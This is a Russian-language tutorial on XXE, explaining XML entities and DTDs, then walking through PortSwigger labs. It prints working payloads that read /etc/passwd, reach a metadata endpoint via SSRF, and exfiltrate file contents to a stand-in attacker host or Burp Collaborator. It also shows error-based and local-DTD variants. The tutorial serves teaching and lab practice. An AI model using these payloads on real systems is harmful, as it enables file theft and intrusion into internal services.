---
title: XXE
---
<div class="header__logo" >XML external entity (XXE): ох уж эти сущности…
</div>
<p>
</p>
<style>
.header__logo {
font-size: 30px;
font-weight: 700;
color: #270469;
text-align: center;
}
</style>
<style>
.secret{
display: flex;
margin-left: auto;
margin-right: auto;
width: 50%;
}
</style>
<style>
.secret__block{
background-color: #fff;
display: block;
max-width: 100%;
height: auto;
transition: opacity .8s linear;
color: black;
text-transform: uppercase;
font-weight: 700;
text-align: center;
}
</style>
<style>
.secret__block img{
opacity: 5;
}
</style>
<style>
.secret__block:hover {
opacity: 2 ;
}
</style>
<style>
.secret__img {
opacity: ;
transition: transform 1.8s linear;
}
</style>
<style>
.secret__img img{
opacity: 0 ;
transition: transform 1.8s linear;
}
</style>
<style>
.secret__img img: hover{
opacity: 5 ;
transition: transform 1.8s linear;
}
</style>
<style>
.secret__img img {
display: block;
max-width: 100%;
height: auto;
transition: opacity 1.8s linear;
}
</style>
<style>
.secret__img:hover {
opacity: 5 ;
}
</style>
<style>
.secret__inner {
position: relative;
background-color: #fff;
}
</style>
<style>
.secret__inner:hover .secret__img {
transform: translate3d(-10px, -10px, 0);
}
</style>
<style>
.secret__inner img:hover {
opacity: 0;
transition: opacity 2s linear;
}
</style>
<style>
.secret__inner img {
transition: opacity 2s linear;
}
</style>
<style>
.secret__inner:hover .secret__img img {
opacity: 1;
}
</style>

<div class="TOC" >
Что нас сегодня ждёт:
<p>
</p>
</div>
<style>
.TOC {
font-size: 26px;
font-weight: 550;
color: #270469;
text-align: left;
</style>
> [TOC]
---
# Что такое XXE
Всем доброго времени суток, сегодня мы разберём такую интересную уязвимость как XXE: что это такое, как эксплуатировать, и что можно с помощью неё получить!
Начнём с того, что дадим определение этой уязвимости:
:::danger
**Внешняя сущность XML (также известное как XXE)** — это уязвимость, позволяющая злоумышленнику вмешиваться в обработку XML-данных приложением. Это часто позволяет злоумышленнику просматривать файлы в файловой системе сервера приложений и взаимодействовать с любыми внутренними или внешними системами, к которым может получить доступ само приложение.
:::
Уязвимость XXE основана на принципах работы XML. Так что давайте же узнаем, а что такое вообще XML!
---
# Что такое XML
Но перед тем как разбирать XML предлагаю вспомнить, что такое HTML:
:::warning
**HTML (Hypertext Markup Language)** - это язык гипертекстовой разметки, который используется для структурирования и отображения веб-страницы и её контента.
:::
То есть HTML это про **ПРЕДСТАВЛЕНИЕ** дынных. С помощью тегов и их атрибутов мы можем менять шрифты, положение элементов и тд. Благодаря этому наш браузер не просто показывает какой-то текст как в блокноте, а показывает красиво свёрстанную страничку! Главное правда, чтобы страничка была понятна для пользователя, но да не об этом:)

А на деле HTML-код этой странички может выглядеть как-то так:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hello page</title>
</head>
<body>
<h1>Hello everyone!</h1>
</body>
</html>
```
Шучу:)
Но идею вы основную поняли, HTML это про **ПРЕДСТАВЛЕНИЕ** данных.
А что такое тогда XML то?
:::info
**XML (eXtensible Markup Language)** - расширяемый язык разметки. Используется для хранения и передачи данных, а также и для других вещей(SVG,PDF и тд.).
:::
XML, как и HTML использует теги для данных, только это не одно и тоже. HTML, как я писал выше, больше про **ПРЕДСТАВЛЕНИЕ** данных(я понимаю, что достал с этим, обещаю, это в последний раз:) ), для выполнения этой цели он имеет набор предопределённых тегов, которые можно использовать(`<a>, <img>, <svg> и тд`), свои теги нельзя вводить, так как смысла в этом и нету, все теги нужные для создания веб-страницы есть под рукой. XML же больше нужен для **ТРАНСПОРТИРОВКИ** и **ХРАНЕНИЯ** данных в структурированном виде. Из-за этого у XML нет предопределённых тегов, все теги надо вводить самостоятельно.
Давайте это разберём более простым языком:)
Для начала посмотрим на простой пример XML'ки:
```
<?xml version="1.0"?>
<data>
<country name="Liechtenstein">
<rank>1</rank>
<year>2008</year>
<gdppc>141100</gdppc>
<neighbor name="Austria" direction="E"/>
</country>
<country name="Singapore">
<rank>4</rank>
<year>2011</year>
<gdppc>59900</gdppc>
<neighbor name="Malaysia" direction="N"/>
</country>
<country name="Panama">
<rank>68</rank>
<year>2011</year>
<gdppc>13600</gdppc>
<neighbor name="Colombia" direction="E"/>
</country>
</data>
```
Как мы видим, он и правда похож на HTML. Тот же корневой тег(`<data>`) и его подтеги, атрибуты у некоторых тегов и тд. Но в отличие от HTML я могу назвать их как захочу, и получить, например, вот это:
```
<hi>
<how name="Liechtenstein">
<are>1</are>
<you>2008</you>
</how>
</hi>
```
Вопрос Жака Фреско, на размышления даётся 5 сек:
Почему мы ЗДЕСЬ можем называть теги так, как хотим?
Ответ:
Потому что нам с этими данными потом и работать:)
Это как параметры в HTTP-запросе. Разработчик может их назвать как душе угодно, главное, чтобы он мог потом найти правильно названные параметры и использовать их значения, также и тут. Данные в XML структурированы, и мы можем обратиться к ним по тегам или по атрибутам тегов. Поэтому раз разработчику нужно обращаться к данным с помощью тегов, то он сам их и называет для удобства + правильно названные теги могут помочь лучше понять что за данные в них заключены. Например, в теге `<country>` содержится информация о стране:
```
<country name="Singapore">
<rank>4</rank>
<year>2011</year>
<gdppc>59900</gdppc>
<neighbor name="Malaysia" direction="N"/>
</country>
```
Таким образом, раз XML содержит в себе структурированную информацию, мы можем использовать XML для её **ХРАНЕНИЯ** или для её **ПЕРЕДАЧИ**, например, мы можем запросить у сервера наши данные, и сервер вернёт их в XML-формате, дальше JavaScript распарсит нам эти данные и браузер красиво их нам отобразит!
Стоит также сказать, что в качестве значения тега мы не можем использовать такие символы как `<`,`>`,`'`,`"` и тд. Так как они используются в XML'е для открытия и закрытия тегов, и для атрибутов тегов, таким образом если мы вставим в данные что-то типа такого:
`<data>hel<lo</data> <--- символ <`
То парсер воспримет это как часть XML-документа, а не как часть данных и выведет нам ошибку!
А что если мы хотим использовать одни и те же данные несколько раз, при этом они могут изменяться? Неужели нам придётся каждый раз их изменять для каждого нового значения?
Тут на помощь приходят **СУЩНОСТИ**!
---
# Что такое сущности XML, DTD и прочая база?
## Сущности XML и DTD
:::warning
**Сущности XML** — это способ представления элемента данных в документе XML вместо использования самих данных. Они являтся своеобразными переменными, то есть мы можем задать 1 раз переменную, и использовать их несколько раз, вместо того, чтобы вручную всё вводить.
:::
В XML есть 3 типа сущностей:
- **General** - Это тип сущностей, которые мы задаём сами и можем использовать в XML-документе. (Настраиваемый тип сущностей)
- **Parameter** - Это тип сущностей, который по своему смыслу похож на General, но их можно использовать только в DTD. (Настраиваемый тип сущностей)
- **Predefined** - Это предопределённые сущности в самом XML.
Также сущности бывают следующими:
- **Внешние** - это тип настраиваемых(General/Parameter) сущностей, определение которых находится за пределами DTD, в котором они объявлены.
- **Внутренние** - это тип настраиваемых(General/Parameter) сущностей, определение которых находится внутри DTD, в котором они объявлены.
Давайте по порядку:)
---
**General**
Как было сказано ранее, сущности это своего рода переменные. Вы один раз задаёте их значение и можете использовать сущности вместо самих данных. Таким образом если у вас огромный документ, в котором в некоторых местах меняется одно значение, то нет смысла его прописывать 100500 раз. Вы можете создать сущность, определить, что эта сущность должна потом заменяться парсером на определённое значение и всё. Вам достаточно менять только ОПРЕДЕЛЕНИЕ сущности, а дальше уже заранее поставленные сущности будут заменяться нужным значением:)
Давайте рассмотрим пример!
Объявляется сущность example, вместо которой будет подставляться строка "Doe". А конкретно вместо `&example;` будет подставляться "Doe".
```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]> <----- DTD с именем replace, в нём задаётся сущность
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName> <----- вот сущность применяется и вместо неё потом подставится Doe
</userInfo>
```
Всё довольно просто:)
---
**Predefined**
В XML уже встроены некоторые сущности. Например, сущности `<`(это `<`) и `>`(это `>`). Символы `>` и `<` используются для создания XML-тегов, поэтому если их нужно использовать в самих данных, то вместо них надо использовать их сущности, иначе парсер не сможет разобраться с тем, является ли этот символ частью xml-документа или частью данных.
```
<first>Hel < lo</first> <--- нельзя!
<first>Hel < lo</first> <--- можно!
```
---
**Document type definition (DTD)**
Перед тем, как разобрать Parameter сущности, я предлагаю уже наконец разобраться с тем, а что такое вообще DTD!
:::info
**Определение типа документа XML (Document Type Definition)**. DTD содержит объявления, которые могут определять структуру документа XML, типы значений данных, которые он может содержать, и другие элементы. DTD объявляется в необязательном элементе `DOCTYPE` в начале XML-документа. DTD может быть полностью автономным внутри самого документа (внутреннее DTD) или может быть загружено из другого места (внешнее DTD) или может быть гибридом обоих.
:::
Пример того как выглядит DTD:
`<!DOCTYPE foo [ ... ]>`
Вместо foo можно подставить всё, что угодно, это не имеет никакого значения, только если чтобы вам было понятно=)
Именно в нём и задаются все настраиваемые сущности:
```
<!DOCTYPE replace [
<!ENTITY xxe "XML Vulnerability">
<!ENTITY example "Doe">
]>
```
Чуть ранее я сказал, что есть внутренние и внешние DTD, давайте разберём конкретнее что это, и какие есть нюансы!
**Внутреннее DTD** - это DTD, который мы можем сами задать в **самом** XML-документе. Примеры были выше.
**Внешнее DTD** - это DTD, которое находится не в **самом** XML-документа, а где-то в другом месте, например где-то в файлике на этом же или другом сервере.
Например, вот у нас есть ОТДЕЛЬНЫЙ файлик на компьютере, содержащий DTD:
```
Файл: some.dtd
Содержимое:
<!DOCTYPE foo [...]>
```
Иногда сервер допускает использование и внешнего и внутреннго DTD, что не особо безопасно, как мы убедимся позже, поэтому частенько внутренние DTD отключают:(
А теперь вернёмся к нашим ~~баранам~~ сущностям!
---
**Parameter**
Это тип настраиваемых сущностей, который может использоваться только внутри DTD.
Отличий от General 2:
1) Их можно использовать только внутри DTD.
2) Для их создания и использования надо использовать `%`.
```
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-site.com/some.dtd"> %xxe;]>
Объявление с помощью %, использование только внутри DTD и тоже со знаком % !
```
## Внешние и внутренние сущности
Как я писал ранее, настраиваемые сущности бывают как внутренними, так и внешними.
**Внутренние** - это те сущности, определение которых находится в самом DTD:
`<!ENTITY xxe "XML Vulnerability">`
Выше я определил, что вместо xxe будет подставляться "XML Vulnerability".
**Внешние сущности** - это такие настраиваемые сущности, определение которых находится не в DTD, а в другом месте.
Для определения таких сущностей используется ключевое слово SYSTEM и URI-адрес, указывающий откуда брать значение для сущности. Пример с ним уже был выше:
`<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-site.com/some.dtd"> %xxe;]>`
В данном примере я объявляю Parameter сущность, вместо которой потом будет подставляться целый DTD из файла some.dtd с сайта web-site.com.
Вместо http:// я могу использовать и другие схемы:
- file://
- ftp://
- https://
- и др.
И вот самое интересное тут - file:// . С помощью неё мы можем заставить внешнюю сущность принять значение содержимого какого-нибудь файла с сервера, а потом просто вывести в ответе нам всё содержимое этого файла через эту же сущность:)
Вот мы и подошли к тому, что теперь понимаем, почему уязвимость XXE расшифровывается как "Внешняя сущность XML", ведь именно через внешние настраиваемые сущности мы и будем проделывать большинство интересных вещей!
А теперь, когда мы наконец закончили с базой, предлагаю разобрать [лабораторные portswigger'а](https://portswigger.net/web-security/all-labs#xml-external-entity-xxe-injection), чтобы лучше разобраться в теме!
---
# Как использовать XXE
Освоив нужную базу, мы можем теперь приступать к примерам XXE-атак!
## Извлечение содержимого из файла
:::info
Лабораторная:
https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files
:::
1) Заходим на страницу с лабораторной, узнаём, что нам нужно узнать содержимое файла /etc/passwd, и запускаем лабу!

2) Попадаем на главную страницу. Тут вроде ничего интересного, так что давайте посмотрим на какой-нибудь товар.

3) На странице с товаром видим кнопку, благодаря которой мы можем узнать, а сколько товара есть в каком городе. По опыту с SSRF мы помним, что там может скрываться беда, так что давайте тыкнем на кнопку и посмотрим на запросы в Burp Suite:

4) В POST-запросе мы видим типичный XML-документ, так что это наш клиент!

5) Отправим запрос в Repeater, где мы сможем его отредактировать и посмотреть что будет в ответе:

6) Проверяю, что внутренние DTD вообще разрешены, путём создания сущности xxe, которая принимает значение "Check XXE", и подставляю сущность в productId. В ответ прилетает ошибка, которая содержит значение моей сущности - значит внутренние DTD работают:)

7) Создаю внешнюю сущность с именем xxe, которая ссылатся на файл /etc/paswd. И получаю в ответе ошибку, содержащую всё, что было в файлике /etc/passwd сервера:

8) Лаба решена:)

## Проведение SSRF-атаки
:::info
Лабораторная:
https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf
:::
Помимо извлечения конфиденциальных данных, с помощью XXE мы можем также проводить [SSRF-атаки](https://hackmd.io/@ArroizX/HkoOQal-3/edit)!
Чтобы использовать уязвимость XXE для выполнения атаки SSRF, необходимо определить внешнюю сущность с помощью URL-адреса, на который надо отправить запрос. Если ответы не пустные, то можно попытаться с помощью такой SSRF'ки подключиться к Back-end системам и получить ценную информацию, или сделать другие вещи, которые были описаны в предыдущей лекции! Давайте перейдём к лабораторной:
1) Заходим на лабораторную и видим, что нам нужно подключиться к Back-end системе `http://169.254.169.254/` и найти там секретный ключ, поехали!

2) Переходим сразу же к странице с описанием товара и проверяем его наличие в Лондоне:

3) Перехватываем запрос и кидаем его в Repeater. Дальше я создаю DTD, в котором объявляю сущность xxe, значение которой это содержимое страницы `http://169.254.169.254/`. И отправляю запрос. В ответе у нас ошибка "Invalid product ID: latest". И может показаться, что ничего нет. Но мы вспоминаем, что ошибка "Invalid product ID:..." появляется у нас в любом случае, так как мы отправляем не число. Поэтому игнорируем эту часть и видим просто latest. Скорее всего это каталог, который есть на сервере, давайте добавим его в наш маршрут `http://169.254.169.254/latest`:

4) Следующая директория у нас meta-data.. Вообщем продолжаем открывать эту матрёшку до тех пор, пока не дойдём до секретного ключа:




5) Наконец находим сектерный ключ - лаба решена:)

---
# Blind XXE
К сожалению, часто может быть такая ситуация, когда уязвимость XXE есть на сайте, но ответ не содержит никакой информации, таким образом нам приходится иметь дело с Blind XXE. Соответственно становится невозможным вот так просто получать содержимое файлов и содержимое Back-end систем:(
Есть два основных способа, с помощью которых можно найти и использовать слепые XXE-уязвимости:
1) Можно запускать внешние взаимодействия(OAST), с помощью которых потом доставать интересную информацию.
2) Можно инициировать ошибки синтаксического анализа XML таким образом, чтобы сообщения об ошибках содержали конфиденциальные данные.
## Использование OAST для обнаружения Blind XXE
:::info
Лабораторные:
1. https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction
2. https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities
:::
Представим себе такую ситуацию:
У нас есть всё тоже приложение, в котором мы можем узнать сколько осталось товара в определённом магазине:

И вроде бы нам достаточно использовать один из ранее упомянутых методов, чтобы, например, извлечь содержимое файла `/etc/passwd`. Мы делаем DTD foo, в нём объявляем сущность xxe и применяем её, однако, ответ не содержит никакой полезной информации. Мы даже не знаем есть ли тут вообще уязвимость xxe:

Для начала нам нужно определить, можно ли тут вообще использовать внешние сущности. Для этого мы можем заставить сервер отправить запросы на подконтрольный нами сервер(OAST). Давайте слегка изменим значение сущности так, чтобы сервер мог отправить DNS и HTTP запросы на наш Burp Collaborator:


Теперь мы отправляем запрос и ждём отстуков на коллабораторе:


Отстуки есть, значит XXE тут есть:)
Если вдруг General сущности нельзя использовать(разработчики могли отключить их использование в целях безопасности), то тот же самый трюк можно провернуть и с Parameter сущностями:


## Как при Blind XXE получить конфиденциальные данные с сервера
Обнаружение Blind XXE это конечно хорошо, но этого мало. Мы же всё таки хотим посмотреть различные конфиденциальные данные с сервера/Back-end систем, поэтому надо что-то придумать для этого.
:::warning
Хотя всё те же Blind XXE можно использовать для DoS, о чём я расскажу позже!
:::
Так как мы можем вызывать в данном случае только внешние взаимодействия, то именно через них мы и будем вытаскаивать различные данные. Для того, чтобы это сделать, мы можем использовать такую конструкцию:
```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```
А что там вообще происходит? :)
Начнём здесь с того, что мы используем не General сущности, а Parameter, по той причине, что именно через них мы можем через одну сущность объявить другую сущность, эту особенность данных сущностей стоит запомнить:
`<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">`
А теперь давайте всё по порядку разберём:
1) Определяем Parameter сущность с именем file, которая имеет в себе содержимое файла /etc/passwd.
2) Определяем Parameter сущность с именем eval, содержащую динамическое объявление другой Parameter сущности с именем exfiltrate. Сущность exfiltrate будет заставлять уязвимое веб-приложение отправлять HTTP-запрос к нашему подконтрольному веб-серверу. В URL'e будет находиться значение сущности file.
3) Используем сущность eval для динамического объявления сущности exfiltrate.
4) Используем сущность exfiltrate, чтобы отправить запрос на подконтрольный сервер, данный запрос будет иметь значение сущности %file; в GET-параметре `x`.
И для вашей добивочки, я скажу, что всё это добро должно быть не в том XML-файле, который вы контролируете в запросе, а во внешнем DTD где-то у вас на сервере, к которому через внешнюю сущность уже в вашем XML-документе вы должны подключиться, отправив HTTP-запрос.
БУМ, ничего не понятно, не правда ли:) ?
Когда я всё это сам читал в первый раз, я не понял ничего, так что давайте все вместе пройдём этот великий путь осознания=)
---
Предлагаю это всё понять через возможные вопросы:
1) **Почему нам нужен внешний DTD на нашем сервере? Почему мы не можем весь этот ужас использовать в нашем XML-документе(использовать только внутреннюю DTD), типа такого:**

**ОТВЕТ:**
Ответ тут прост. XML-парсеры не любят, когда во внутреннем DTD(это тот DTD, который вы сами ручками создаёте в своём XML-документе) происходит объявление одной сущности через другую:
`<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">`
Поэтому нам надо сначала создать у себя на сервере dtd-файлик, содержащий всю эту бойду, а потом уже в самом подконтрольном XML-документе мы создаём DTD и Parameter сущность в нём, чтобы обратиться к этому файлику на сервере, таким образом парсер воспримет его как внешнюю DTD, которую надо обработать, обработав всё вышеописанное, сервер отправит запрос, содержащий конфиденциальные данные.
---
2) **Допустим, а зачем нам вообще объявление одной сущности через другую? Разве мы не можем просто сделать 2 сущности и всё:**
```
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % exfil SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;">
%exfil;
```
**ОТВЕТ:**
Если мы не будем объявлять одну сущность через другую, как показано выше, то вместо такого запроса на подконтрольный сервер:
`http://BURP-COLLABORATOR-SUBDOMAIN/?x=всякие секретные данные`
Мы получим такой:
`http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;`
Буквально такой, просто %file; :)
Это связано с тем, что через динамическое объявление одной сущности через другую мы в инициируемой сущности(exfiltrate) также инициируем и сущность file, которая как раз и будет содержать конфиденциальные данные, которые мы хотим получить. И если мы так делать не будем, то вместо конфиденциальных данных, парсер нам выдаст %file; как просто строку и отправит бессмысленный запрос.
---
3) **А зачем мы тут используем везде Parameter сущности ?**
**ОТВЕТ:**
Так как всё это должно находиться в DTD файлике. То есть, если мы создадим файлик some.dtd, то всё содержимое в нём уже по сути в DTD-объекте. Нам не нужно писать `<!DOCTYPE foo [...]>`, всё, что будет записано в этом файлике уже как бы в DTD, а раз всё, что там написано находиться в DTD, то мы можем использовать только те сущности, которые можно использовать только в DTD, а именно Parameter сущности!
---
4) **Ладно, и последний вопрос, а зачем мы тут закодировали символ % в HTML-кодировку?**

Как мы помним, XML парсер не любит когда в данных есть символы, которые используются в XML-документе: `< > ' " %`. В данном случае, хоть мы и инициируем сущность exfiltrate через сущность eval, сущность exfiltrate выступает как просто строка, на которую будет заменяться любое появление %eval; в DTD. Поэтому если использовать символ %, то просто будет ошибка и ничего дальше происходить не будет. Почему он не триггирется на `< и >` - загадка:)
---
**Также стоит кое-что упомянуть:**
Такой метод использования XXE может некорректно работать с некоторыми файлами, а точнее с их содержимым. Например символы новой строки `\n` в файле, которые есть в том же /etc/passwd. Это связано с тем, что некоторые синтаксические анализаторы XML извлекают URL-адрес из определения внешней сущности с помощью API, которая проверяет символы, которые разрешено использовать в URL-адресе. Символ `\n` в этот список не входит. В этой ситуации можно использовать протокол FTP вместо HTTP. Иногда и это может не работать, из-за чего будет невозможно получить данные, содержащие символы новой строки, и тогда стоит выбрать в качестве цели другой файл, например /etc/hostname.
---
Давайте теперь наконец перейдём к практике!
:::info
Лаборатория:
https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration
:::
1) Заходим на стенд и на своём сервере в качестве тела ответа на запросы выставляем пэйлоад, что показан ниже. И сохраняем это всё (Store):

2) Перехватываем запрос на `/product/stock` и создаём DTD, в котором объявляем Parameter сущность, которая берёт своё значение из нашего подконтрольного сервера, так как именно оттуда нам надо подтянуть наш скрафченный внешний DTD. После чего просто отправляем запрос:

3) Так как во внешнем DTD я указал свой Burp Collaborator, чтобы на него пришли конфиденциальные данные, то на него и пришёл отстук, содержащий hostname сервера:)

4) Помимо коллаборатора в качестве пункта назначения финального запроса можно указать и сам сервер в лаборатории. Hostname будет валяться в логах сервера:

Также хочу вам показать то, что придёт на сервер, если не использовать объявление одной сущности через другую:

А если попытаться указать во внешнем DTD не Parameter сущности а General, то либо придёт бесполезный запрос от веб-приложения, либо запроса просто не будет:

---

---
## Извлечение содержимого из файла с помощью сообщения об ошибке
:::info
Лаборатория:
https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages
:::
Помимо использования OAST для получения конфиденциальных данных через Blind XXE есть другой метод. Альтернативным подходом является инициирования ошибок синтаксического анализа XML, когда сообщение об ошибке содержит конфиденциальные данные, которые вы хотите получить. Это сработает, если приложение вернет результирующее сообщение об ошибке в своем ответе.
По своей схеме это очень напоминает OAST, что я описывал выше:
- Внешние DTD
- Parameter сущности
- И очень похожая полезная нагрузка:
```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```
Этот DTD выполняет следующие шаги:
1) Определяем Parameter сущность с именем file, имеющую в себе содержимое файла /etc/passwd.
2) Определяем Parameter сущность с именем eval, содержащую динамическое объявление другой сущности с именем error. Сущность error заставит сервер попытаться загрузить несуществующий файл, имя которого это значение сущности file.
3) Вызывается сущность eval, благодаря которой динамически объявляется сущность error
4) Используется сущность error. После её вызова происходит попытка загрузить несуществующий файл, что приводит к сообщению об ошибке, данное сообщение содержит имя несуществующего файла, который является содержимым файла /etc/passwd
Если упростить всё выше сказанное, то мы используем ранее разобранную конструкцию, чтобы попытаться загрузить несуществующий файл с сервера, причём имя этого несуществующего файла - это содержимое /etc/passwd. Сервер конечно загрузить его не может, и пытается вернуть ошибку типа "Мы не смогли загрузить файл: 'имя файла'". Вместо 'имя файла' будет всё содержимое /etc/passwd. На этот раз мы не пихаем значение в url, поэтому знаки перехода на новую строку нам не помешают(`\n`) :)
А вот как это всё выглядит в лабе:
1) Заходим на стенд

2) Заходим на свой сервер

3) Делаем тело ответа на запросы как было описано выше и сохраняем настройки(Обратите внимание, что я изменил маршрут с /exploit на /some, это не принципиально, можно оставить и стандартную настройку, только вам придётся указать немного другой url во внутреннем DTD):

4) Переходим на страницу с товарами и проверяем количество:

5) Перехватываем запрос:

6) Отправляем его в Repeater:

7) Создаём в XML DTD c сущностью xxe, которая будет подтягивать внешний DTD с нашего сервера(тут как раз из-за той настройки у меня указан маршрут до /some, так как именно там валяется мой внешний DTD). И отправляем запрос:

8) Получаем ошибку об несуществующем файле, которая содержит в себе всё из /etc/passwd:

## Использование Blind XXE с локальным DTD
Все вышеописанные методы работают только в том случае, если разрешены внешние взаимодействия от лица сервера. А что делать в ситуации, когда они не разрешены? Уже ведь не получится вытаскивать данные через ошибки или OAST, так как вы просто не дотянись до своих внешних DTD:(
Даже из такой ситуации есть выход!
Можно вызывать сообщения об ошибках, содержащие конфиденциальные данные, из-за лазейки в спецификации языка XML. Если DTD документа использует гибрид внутренних и внешних DTD(причём внешние не ваши, а именно веб-приложения, этот DTD мы не можем контролировать, так как обычно это просто файлик где-то на сервере), то во внутреннем DTD можно переопределять сущности, объявленные во внешнем DTD веб-приложения. Когда это происходит, ограничение на использование Parameter сущности XML в определении другой Parameter cущности ослабляется.
Это означает, что можно использовать Blind XXE для вывода инфы через ошибки используя внутренний DTD, с помощью которого мы будем переопределять сущность, объявленную во внешнем DTD. По сути, атака включает в себя вызов файла DTD, который существует в локальной файловой системе, и использование его для переопределения существующей сущности в нём таким образом, чтобы данная сущность вызывала ошибку синтаксического анализа, и в этой ошибке будут содержаться конфиденциальные данные.
Например, предположим, что в файловой системе сервера есть DTD файл /usr/local/app/schema.dtd, и этот файл DTD определяет сущность с именем custom_entity. Можно инициировать сообщение об ошибке синтаксического анализа XML, содержащее всё из файла /etc/passwd, отправив гибридное DTD, подобное следующему:
```
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
```
Этот DTD выполняет следующие шаги:
1) Определяет Parameter сущность XML с именем local_dtd, содержащую внешний DTD файл, который существует в файловой системе сервера.
2) Переопределяет Parameter сущность с именем custom_entity, которая уже определена во внешнем файле DTD. Сущность переопределена как содержащая эксплойт XXE на основе ошибки , для запуска сообщения об ошибке, содержащего всё, что есть в файле /etc/passwd.
3) Использует local_dtd сущность, чтобы внешнее DTD интерпретировалось, включая переопределенное значение сущности custom_entity. Это приводит к желаемому сообщению об ошибке, которое содержит конфиденциальные данные.
Поскольку эта XXE-атака включает в себя редактирование существующего DTD в файловой системе сервера, ключевым требованием является поиск подходящего DTD файла. Это на самом деле довольно просто. Поскольку приложение возвращает любые сообщения об ошибках, выдаваемые синтаксическим анализатором XML, можно легко перечислить локальные файлы DTD, просто попытавшись загрузить их из внутреннего DTD.
Например, системы Linux, использующие среду рабочего стола GNOME, часто имеют файл DTD по маршруту /usr/share/yelp/dtd/docbookx.dtd. Можно проверить наличие этого файла, отправив следующую полезную нагрузку XXE, которая вызовет ошибку, если файл отсутствует:
```
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
После того, как вы проверили список общих файлов DTD, чтобы найти существующий файл, нужно получить копию файла и просмотреть ее, чтобы найти сущность, которую можно переопределить. Поскольку многие распространенные системы, включающие файлы DTD, имеют открытый исходный код, обычно можно быстро получить копию файлов с помощью Интернета.
:::info
Лаборатория:
https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd
:::
1) Захожу на стенд:

2) Захожу на страницу, где можно найти функционал по выяснению количества товара в Лондоне:

3) Нахожу в Burp нужный запрос:

4) Перекидываю его в Repeater:

5) Нахожу список распространённых DTD файлов:

6) Выясняю какой файл существует:

7) Ищу в интернете этот файл, чтобы увидеть какие сущности у него есть:

8) Нахожу нужный, хотя тут и другие подойдут - проверено:)

9) Составляю payload, который описывал выше и получаю "нужную" ошибку:

[ЗДЕСЬ](https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/) я нашёл все популярные DTD файлы, [ЗДЕСЬ](https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md) есть пэйлоады для такого типа XXE-атак для почти любой известной DTD. Не надо даже искать сущность и тд, нужно только выставить нужный файл, который хочется посмотреть:)
Вторую ссылку оставил, так как оказывается помимо описанной DTD в лабе есть другая доступная для использования DTD, так что экспериментируйте!
---
# Поиск скрытой поверхности и скрытых возможностей для XXE-атак
Поверхность атаки для уязвимостей XXE-инъекций во многих случаях очевидна, поскольку обычный HTTP-трафик приложения включает запросы, содержащие данные в формате XML. В других случаях поверхность атаки менее заметна. И порой кажется, что в определённом запросе просто не может быть XXE, однако, она там есть. Давайте же рассмотрим, где может прятаться XXE!
---
## XInclude
Представим себе такой запрос:
```
POST /product/stock HTTP/2
Host: 0afa001b0349a01d83b772d900c500f3.web-security-academy.net
Cookie: session=f1eURoBHo1PzFVVhNOXnYix9yP7AIXlj
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://0afa001b0349a01d83b772d900c500f3.web-security-academy.net/product?productId=2
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: https://0afa001b0349a01d83b772d900c500f3.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
productId=2&storeId=1
```
Здесь просто обычные параметры, как здесь может быть XXE??? Очень даже просто:)
Некоторые приложения получают данные, отправленные клиентом, встраивают их на стороне сервера в XML-документ, а затем анализируют **этот** документ. Пример этого возникает, когда данные, отправленные клиентом, помещаются во внутренний запрос, который затем обрабатывается серверной службой.
В этой ситуации нельзя выполнить классическую XXE-атаку, потому что мы не контролируем весь XML-документ и поэтому не можем определить или изменить элемент DOCTYPE. Тем не менее, мы можем использовать XInclude вместо этого.
:::warning
**XML Inclusions (XInclude)** — механизм включения в XML-документы текстовых файлов или других XML-документов (а также их частей).
:::
Можно поместить XInclude атаку в любое значение данных в XML-документе, поэтому атаку можно выполнять в ситуациях, когда мы контролируем только один элемент данных, помещенный в XML-документ на стороне сервера.
Чтобы выполнить XInclude атаку, достаточно указать XInclude пространство имен и указать путь к файлу, который нужно включить. Например:
```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
